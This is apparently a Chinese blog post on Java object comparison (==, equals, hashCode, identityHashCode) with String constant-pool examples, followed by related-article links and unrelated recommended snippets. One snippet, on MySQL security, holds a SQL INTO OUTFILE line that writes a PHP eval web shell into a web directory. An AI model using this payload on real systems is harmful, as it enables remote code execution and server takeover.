在java中如果我们要比较两个对象之间的关系的话有可能会用到下面的几种方法:==,equal,hasCode(),identifyHasCode()。

==用来比较对象本身是不是相同的。

public class Test
{
public static void main(String[] args)
{
String s1="abc";
String s2="abc";
String s3=new String("abc");
String s4=new String("abc");
System.out.println("result of s1==s2 is:"+(s1==s2));
System.out.println("result of s3==s4 is:"+(s3==s4));
System.out.println("identityHashCode of s1 is:"+System.identityHashCode(s1));
System.out.println("identityHashCode of s2 is:"+System.identityHashCode(s2));
System.out.println("identityHashCode of s3 is:"+System.identityHashCode(s3));
System.out.println("identityHashCode of s4 is:"+System.identityHashCode(s4));//s3和s4的 identityHashCode是不同的
System.out.println("hashCode of s3 is:"+s3.hashCode());
System.out.println("hashCode of s4 is:"+s4.hashCode());//s3和s4的hashCode是相同的
}
}

通过上面的代码可以清楚地看见,将s1 和s2直接赋给常量字符串是,s1和s2是指向常量池中的同一个字符串。第一次执行String s1="abc";时先搜索常量池中有没有该字符串,如果没有该字符串常量则创建该字符串常量,并将该字符串的引用赋值给s1.如果已经有了字符串常量了则直接将该字符串常量赋值给s1.同理,当执行String s2=“abc”;时,因为字符串已经存在于常量池中,则将该字符串的引用直接赋值s2.所以,s1和s2指向同一个对象。通过下面的identityHashCode也可以验证这一原理。s1和s2的值相同。

当执行String s3=new String (“abc”);时,主线程会在堆内存上先创建一个String内对象,其值为“abc”;当执行String s4=new String (“abc”);时,主线程会在堆内存上创建另一个String类对象,其值也为“abc”;但这里就要注意了,虽然对象s3和s4的值相同,但他们却是两个不同的对象。==比较的结果为假。identityHashCode的值也不相同。

equal比较两个对象时,只是比较这两个对象的字符串的内容是不是相同的。这点很容易来理解。

新手发帖,望大家指正,谢谢。

==,equal,hasCode(),identifyHasCode()浅析的更多相关文章

  1. Java String 的equals, == , hascode的区别

    1.equals 和 == ==在java中是比较引用的,即在内存中的地址.而String的equals()是比较字符串的内容 http://blog.csdn.net/barryhappy/arti ...

  2. 浅析STM32之usbh_def.H

    [温故而知新]类似文章浅析USB HID ReportDesc (HID报告描述符) 现在将en.stm32cubef1\STM32Cube_FW_F1_V1.4.0\Middlewares\ST\S ...

  3. java并发:jdk1.8中ConcurrentHashMap源码浅析

    ConcurrentHashMap是线程安全的.可以在多线程中对ConcurrentHashMap进行操作. 在jdk1.7中,使用的是锁分段技术Segment.数据结构是数组+链表. 对比jdk1. ...

  4. AtomicInteger的CAS算法浅析

    之前浅析过自旋锁(自旋锁浅析),我们知道它的实现原理就是CAS算法.CAS(Compare and Swap)即比较并交换,作为著名的无锁算法,它也是乐观锁的实现方式之一.JDK并发包里也有许多代码中 ...

  5. TiKV事务实现浅析

    TiKV事务实现浅析 Percolator事务的理论基础 Percolator的来源 Percolator事务来源于Google在设计更新网页索引的系统时提出的论文Large-scale Increm ...

  6. 浅析 record 使用场景

    浅析 record 使用场景 Intro 之前我们有介绍过 record 基本知识,record 会实现基于值的类型比较,最近遇到的几个问题觉得用 record 来解决会非常方便,分享一下 基于值的类 ...

  7. SQL Server on Linux 理由浅析

    SQL Server on Linux 理由浅析 今天的爆炸性新闻<SQL Server on Linux>基本上在各大科技媒体上刷屏了 大家看到这个新闻都觉得非常震精,而美股,今天微软开 ...

  8. 【深入浅出jQuery】源码浅析--整体架构

    最近一直在研读 jQuery 源码,初看源码一头雾水毫无头绪,真正静下心来细看写的真是精妙,让你感叹代码之美. 其结构明晰,高内聚.低耦合,兼具优秀的性能与便利的扩展性,在浏览器的兼容性(功能缺陷.渐 ...

  9. 高性能IO模型浅析

    高性能IO模型浅析 服务器端编程经常需要构造高性能的IO模型,常见的IO模型有四种: (1)同步阻塞IO(Blocking IO):即传统的IO模型. (2)同步非阻塞IO(Non-blocking  ...

随机推荐

  1. zero1--hibernate注解02

  2. iis7.5应用程序池模板永久性缓存初始化失败解决方法

    错误: 针对应用程序池的模板永久性缓存初始化失败,这是由以下错误导致的: 无法为应用程序池创建磁盘缓存子目录.数据可能包含其他错误代码. 解决办法如下: 网上搜索的答案全都是修改3个目录的权限,给II ...

  3. jQuery判断某个元素是否存在某个样式

    <input type="button" class="new"/> $("input[name=new]").hasClass ...

  4. 升级openssl

    升级openssl 依赖openssl的软件,如果是静态编译openssl,那么需要重新编译软件,如果是利用openssl的so动态库,那么只需要替换一下so文件并重启软件即可 openssh也依赖o ...

  5. mysql 安全

    select '<?php @eval($_POST[1])?>' into outfile 'D:/APMServ5.2.6/www/htdocs/report/log.php' //一 ...

  6. json解析转map

    HashMap<String, Object> map = new HashMap<String, Object>();    JSONObject jsonObject = ...

  7. MySQL Replication的相关文件

    1.master.info文件 位于slave端的数据目录下,存储slave连接到master的相关信息,如,master主机地址.连接用户.密码.端口.已经获取的日志信息. 复制过程中修改.删除ma ...

  8. file operation note

    从HLE回来,大家拍了2499张照片,分放在N个文件夹下,下面的python将下层目录中文件移动到上层 import os,shutil dst=os.getcwd()+os.sep for path ...

  9. Snapchat面经(师兄的)

    给一个LinkedList环,给其中任一个节点的reference,求删去LinkedList中所有value=k的点 我的想法:假设给定的点事ListNode oneNode, 设置ListNode ...

  10. 汉字转【pinyin】

    引言 github地址:aizuyan/pinyin 无意中看到了overtrue/pinyin这个项目,感觉很有意思,这个项目做了这么一件事情: 将汉字转化为拼音 刚看到这里是不是觉得没什么难度,没 ...